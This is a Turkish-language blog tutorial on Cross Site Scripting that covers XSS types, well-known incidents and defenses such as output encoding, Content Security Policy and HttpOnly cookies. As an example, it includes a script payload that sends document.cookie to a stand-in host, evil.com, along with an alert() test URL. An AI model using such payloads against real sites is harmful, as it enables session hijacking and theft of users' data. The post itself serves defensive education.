Blog Details

Cross Site Scripting (XSS) Nedir? [2025]

17 Tem 2025 - Blog
shape
shape
shape

İnternet sitelerinin en büyük düşmanlarından biriyle tanışın: XSS, yani Cross Site Scripting!
Web dünyasında her gün milyonlarca kullanıcı etkileşimde bulunuyor. Yorumlar yazılıyor, formlar dolduruluyor, bilgiler paylaşılıyor. İşte bu etkileşimler sırasında bir güvenlik açığı varsa, kötü niyetli kişiler devreye giriyor ve tarayıcıda kod çalıştırarak kullanıcıyı tuzağa düşürebiliyor.

Peki bu saldırı nasıl gerçekleşiyor? Gerçekten bu kadar tehlikeli mi? Ve en önemlisi: Bundan nasıl korunabiliriz?
Hadi gelin, XSS’i A’dan Z’ye inceleyelim.


🔍 Cross Site Scripting Nedir?

Cross Site Scripting (XSS), saldırganların, güvenlik açığı bulunan bir web sitesine zararlı JavaScript kodları yerleştirerek, bu kodları diğer kullanıcıların tarayıcılarında çalıştırmasını sağladığı bir güvenlik açığı türüdür.

Bu saldırılar sonucunda saldırgan şunları yapabilir:

  • Kullanıcının çerez bilgilerini çalabilir
  • Oturumu ele geçirebilir
  • Kullanıcıyı sahte sayfalara yönlendirebilir
  • Tarayıcıda kötü amaçlı komutlar çalıştırabilir

🛠️ XSS Saldırısı Nasıl Çalışır?

  1. Saldırgan, kullanıcı tarafından girilen ve filtrelenmeyen bir form alanı, URL parametresi veya yorum kutusu bulur.
  2. Buraya aşağıdaki gibi zararlı bir JavaScript kodu ekler: htmlKopyalaDüzenle<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
  3. Diğer kullanıcılar bu içeriği gördüğünde, bu kod onların tarayıcılarında otomatik olarak çalışır.
  4. Sonuç: Kullanıcının oturumu veya bilgileri saldırgana gönderilir.

🎯 XSS Türleri Nelerdir?

1. Stored XSS (Saklanan XSS)

  • Zararlı kod veritabanına kalıcı olarak kaydedilir.
  • Örneğin bir yorum sisteminde ya da kullanıcı profiline eklenebilir.
  • Diğer kullanıcılar sayfayı ziyaret ettikçe bu kod tetiklenir.

🔴 Tehlike seviyesi: Yüksek

2. Reflected XSS (Yansıtılan XSS)

  • Kod genellikle bir URL parametresiyle iletilir ve sunucudan hemen yansıtılır.
  • Saldırgan bir bağlantı üretir ve kullanıcıyı o bağlantıya tıklamaya ikna eder.

📌 Örnek:

php-templateKopyalaDüzenlehttps://site.com/search?q=<script>alert('XSS')</script>

🔴 Tehlike seviyesi: Orta

3. DOM-based XSS

  • Kod, doğrudan tarayıcıda çalışan JavaScript tarafından tetiklenir.
  • Sunucu bu koddan haberdar olmaz, tamamen istemci (client-side) taraflıdır.

🔴 Tehlike seviyesi: Gizli ama etkili


💣 Gerçek Hayattan XSS Saldırı Örnekleri

🕷️ MySpace ve “Samy Worm” (2005)

Bir kullanıcı, profil sayfasına XSS kodu yerleştirdi. Profili ziyaret eden herkes otomatik olarak Samy’nin arkadaş listesine eklendi. Sadece 1 günde 1 milyondan fazla kişi etkilendi!

✈️ British Airways (2018)

XSS açığı sayesinde kullanıcıların kredi kartı bilgileri üçüncü taraflara sızdırıldı. Şirket bu olaydan sonra milyonlarca pound para cezası ödedi.

📢 Facebook ve Paylaş Butonu Açığı

Bir dönem Facebook’un paylaş butonunda görülen bir XSS açığı sayesinde kullanıcılar sahte içeriklere yönlendiriliyordu.


🧱 XSS’ten Korunma Yöntemleri

1. Giriş Verilerini (Input) Doğrula ve Filtrele

  • Kullanıcıdan gelen tüm veriler asla doğrudan kullanılmamalı.
  • HTML karakterlerini özel karakterlerle değiştir:
    • <&lt;
    • >&gt;
    • '&#39;
    • "&quot;

2. Çıkış Verisini (Output) Encode Et

  • Verileri sayfa içinde gösterirken encode edilmeli.
  • Özellikle HTML içeriğine yazılacak veriler encode edilmeden gösterilmemeli.

3. Content Security Policy (CSP) Kullanın

CSP, sadece belirli kaynaklardan gelen scriptlerin çalışmasına izin verir.
Basit bir CSP örneği:

httpKopyalaDüzenleContent-Security-Policy: default-src 'self';

4. HTTPOnly ve Secure Cookie Ayarları

  • HttpOnly etiketi ile JavaScript’in çerezlere erişmesi engellenebilir.
  • Secure etiketiyle çerez sadece HTTPS üzerinden iletilir.

5. JavaScript Frameworkleri Kullanırken Dikkatli Olun

  • React, Angular gibi modern frameworkler XSS’e karşı bazı önlemleri gömülü olarak getirir.
  • Ama güvende olduğunu varsaymak hata olur. Kodlarınızı yine de test edin!

💡 Web Geliştiriciler İçin Ekstra İpuçları

  • innerHTML yerine textContent kullan
  • Kullanıcı girdilerini DOM’a doğrudan aktarma
  • Her girdi alanı için özel validasyon kur
  • XSS testleri için OWASP ZAP, Burp Suite gibi araçları kullan

📲 Mobil Uygulamalarda XSS Olur Mu?

Evet! WebView kullanan mobil uygulamalarda da XSS riski bulunur.
Özellikle kullanıcılardan alınan içerikler doğrudan HTML olarak gösteriliyorsa aynı tehlike mobilde de geçerli.


❓ Sıkça Sorulan Sorular (SSS)

1. XSS sadece JavaScript ile mi olur?
Hayır. Genellikle JavaScript kullanılır ama HTML, Flash ve hatta SVG dosyalarıyla da XSS saldırıları yapılabilir.

2. HTTPS kullanmak XSS’i engeller mi?
Hayır. HTTPS sadece veriyi şifreler. Zararlı kod yine de çalışır.

3. XSS ile nelere ulaşılabilir?
Çerez bilgisi, oturum kimliği, kullanıcı bilgileri, tıklama geçmişi, hatta kullanıcının cihazına zararlı yazılım yüklenebilir.

4. XSS neden hala bu kadar yaygın?
Çünkü geliştiriciler genellikle kullanıcı verilerine “güvenilir” gözüyle bakıyor. Ayrıca test süreçlerinde XSS kontrolü atlanabiliyor.


🔚 Son Söz: XSS Küçük Bir Kod, Büyük Bir Tehlike!

Cross Site Scripting, basit bir <script> etiketiyle, milyonlarca kullanıcıya zarar verebilecek kadar güçlüdür.
Bu yüzden güvenlik, sadece bir özellik değil, temel bir gerekliliktir.

🔒 Geliştiriciysen:

  • Her kullanıcı verisini şüpheli gör.
  • Kodlarını düzenli test et.
  • Güvenlik açıklarına karşı tetikte ol.

🧠 Web sitesi sahibiyken de:

  • Güvenlik testlerini ihmal etme
  • Geliştirici ekibin bu konularda eğitimli mi, kontrol et
  • Ziyaretçilerin güvenliğini sağlamak senin sorumluluğundur!

🔗 Faydalı Dış Bağlantılar

Comment

Hadi Birlikte Geliştirmeye Başlayalım

Bana Ulaşın